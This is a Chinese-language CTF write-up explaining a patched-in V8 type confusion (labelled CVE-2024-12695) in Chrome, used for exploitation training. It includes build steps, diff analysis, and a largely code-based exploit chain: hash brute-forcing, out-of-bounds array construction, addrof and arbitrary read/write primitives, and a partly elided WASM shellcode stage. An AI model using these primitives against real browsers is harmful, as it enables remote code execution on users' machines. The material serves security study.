强网杯S9 Real World - monotint
字数 1230 2025-12-12 12:09:39
CVE-2024-12695漏洞分析与利用教学文档
漏洞概述
CVE-2024-12695是V8引擎中的一个类型混淆漏洞,存在于Chrome 139.0.7258.128版本中。该漏洞通过移除Object.assign函数中的关键类型检查,结合FinalizationRegistry的弱引用机制,可实现稳定的内存越界读写,最终达成远程代码执行。
环境搭建
Chrome编译环境
# 获取特定版本代码
git checkout 139.0.7258.128
gclient sync -D
# 应用漏洞补丁
cd v8
patch -p1 < ./patch
cd ../
# 编译Chrome
gn gen out/x64.release
ninja -C out/x64.release -j 22 chrome
编译参数配置
is_component_build = false
is_debug = false
symbol_level = 2
blink_symbol_level = 2
v8_symbol_level = 2
dcheck_always_on = false
is_official_build = false
chrome_pgo_phase = 0
v8_enable_sandbox = false
v8_enable_pointer_compression = true
D8调试环境
gn gen out/x64.release_v8
ninja -C out/x64.release_v8 -j 22 d8
漏洞分析
1. Object.assign类型检查缺失
关键diff分析:
// 删除了properties字段的类型检查
- // Ensure the properties field is not used to store a hash.
- TNode<Object> properties = LoadJSReceiverPropertiesOrHash(to);
- GotoIf(TaggedIsSmi(properties), &slow_path);
- CSA_DCHECK(this,
- Word32Or(TaggedEqual(properties, EmptyFixedArrayConstant()),
- IsPropertyArray(CAST(properties))));
漏洞影响:
- 移除对properties字段是否为Smi的检查
- 允许properties字段包含Smi或FixedArray对象
- 破坏FinalizationRegistry中unregister_token的hash字段完整性
2. SimpleNumberDictionary越界产生
关键diff分析:
// 将CHECK改为DCHECK,移除严格检查
- CHECK(entry.is_found());
+ DCHECK(entry.is_found());
漏洞触发流程:
- 注册FinalizationRegistry时生成unregister_token的hash
- 通过Object.assign破坏hash字段
- 触发GC时执行RemoveCellFromUnregisterTokenMap
- 传入无效entry(-1)执行ClearEntry操作
内存破坏过程:
// 计算错误的索引位置
InternalIndex entry = key_map->FindEntry(isolate, key); // entry = -1
int index = DerivedHashTable::EntryToIndex(entry); // index = (-1*2)+3 = 1
// 越界写入the_hole(0x7d9)
this->set(index + Derived::kEntryKeyIndex, key, mode); // 索引1
this->set(index + Derived::kEntryValueIndex, value, mode); // 索引2
3. 不稳定越界到稳定任意写转换
利用原理:
通过预测hash值,利用FinalizationRegistry的链表操作实现可控内存写入:
// RegisterWeakCellWithUnregisterToken关键逻辑
if (entry.is_found()) {
Tagged<Object> value = key_map->ValueAt(entry);
Tagged<WeakCell> existing_weak_cell = Cast<WeakCell>(value);
existing_weak_cell->set_key_list_prev(*weak_cell); // 关键写入点
weak_cell->set_key_list_next(existing_weak_cell);
}
写入公式: *(controlled_address + 0x1c) = weak_cell_pointer
漏洞利用步骤
Step 1: 创建越界key_map
let target = {};
let unregister_token = {};
let registry = new FinalizationRegistry(() => {});
// 触发漏洞的基本流程
registry.register(target, undefined, unregister_token);
Object.assign(unregister_token, {});
Object.assign(unregister_token, {});
target = null;
major_gc();
Step 2: Hash值预测与验证
function corrupt_obj_get_hash() {
for (let current_hash = 1; current_hash < 0x100000; current_hash++) {
let fake_kv = build_kv(current_hash, undefined_value);
init_arr(victim_arr, fake_kv);
// 通过unregister触发越界写入
for (let i = 0; i < arr_with_hash_object.length; i++) {
registry.unregister(arr_with_hash_object[i]);
}
// 检测victim_arr中的变化
let corrupt_vic_idx = find_vic_idx(victim_arr, fake_kv);
if (corrupt_vic_idx != -1) {
return [corrupt_vic_idx, corrupt_obj_idx, corrupt_obj_hash];
}
}
}
Step 3: 构造稳定任意写原语
function construct_oob_arr(corrupt_vic_idx, corrupt_obj_idx, corrupt_obj_hash) {
let oob_arr = [];
for (let i = 0; i < 0x100; i++) oob_arr[i] = 1.1;
// 地址空间扫描
for (let addr = 0x1a0000; addr < 0x2000000; addr += 0x100) {
let fake_kv = build_kv(corrupt_obj_hash, addr | 1);
victim_arr[corrupt_vic_idx] = fake_kv;
init_arr(oob_arr, oob_arr_init_val);
// 触发写入
registry.register(hash_obj, undefined, hash_obj);
// 检测写入结果
for (let j = 0; j < oob_arr.length; j++) {
if (oob_arr[j] != oob_arr_init_val) {
// 计算oob_arr元素地址
oob_arr_element_addr = addr + 0x1c - j * 8 - align_offset * 4 - 8;
break;
}
}
}
// 扩展oob_arr长度实现越界读写
oob_arr.length = 0x10000000;
}
Step 4: 构建利用原语
// 内存读写原语
function cage_read(addr) {
let org = f64_to_u64(oob_arr[elements_confused_idx]);
oob_arr[elements_confused_idx] = lh_u32_to_f64(addr, Number(org >> 32n));
let val = f64_to_u64(target_arr[0]);
oob_arr[elements_confused_idx] = u64_to_f64(org);
return val;
}
function cage_write(addr, val) {
let org = f64_to_u64(oob_arr[elements_confused_idx]);
oob_arr[elements_confused_idx] = lh_u32_to_f64(addr, Number(org >> 32n));
target_arr[0] = u64_to_f64(val);
oob_arr[elements_confused_idx] = u64_to_f64(org);
}
// 地址泄露原语
function addrof(obj) {
obj_arr[0] = obj;
return cage_read(obj_arr_element_addr);
}
Step 5: 代码执行与沙箱绕过
WASM模块构造:
// 创建包含shellcode的WASM模块
const wasmCode = new Uint8Array([
0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00,
// ... WASM模块字节码
]);
const wasmModule = new WebAssembly.Module(wasmCode);
const wasmInstance = new WebAssembly.Instance(wasmModule);
const shellcode = wasmInstance.exports.main;
PKU保护绕过:
- 使用JIT spray或WASM函数绕过CPU保护
- 通过WASM内存页设置可执行权限
- 调用WASM函数执行shellcode
完整利用链
- 初始化阶段:布置内存布局,创建必要对象
- 漏洞触发:通过Object.assign破坏hash字段
- 内存探测:预测hash值,定位可控内存区域
- 原语构建:构造稳定的读写原语
- 地址泄露:泄露关键对象地址,计算基地址
- 代码执行:布置shellcode,触发执行
- 权限提升:绕过各种保护机制
防护与检测
防护措施:
- 更新到修复版本
- 启用V8沙箱保护
- 加强类型检查机制
- 监控异常的内存访问模式
检测指标:
- 异常的Object.assign调用模式
- FinalizationRegistry的异常使用
- 大量的内存扫描行为
- 异常的WASM模块创建
总结
CVE-2024-12695是一个典型的类型混淆漏洞,通过精心构造的利用链可以实现稳定的内存读写和代码执行。理解该漏洞的利用技术对于浏览器安全研究和漏洞防护具有重要意义。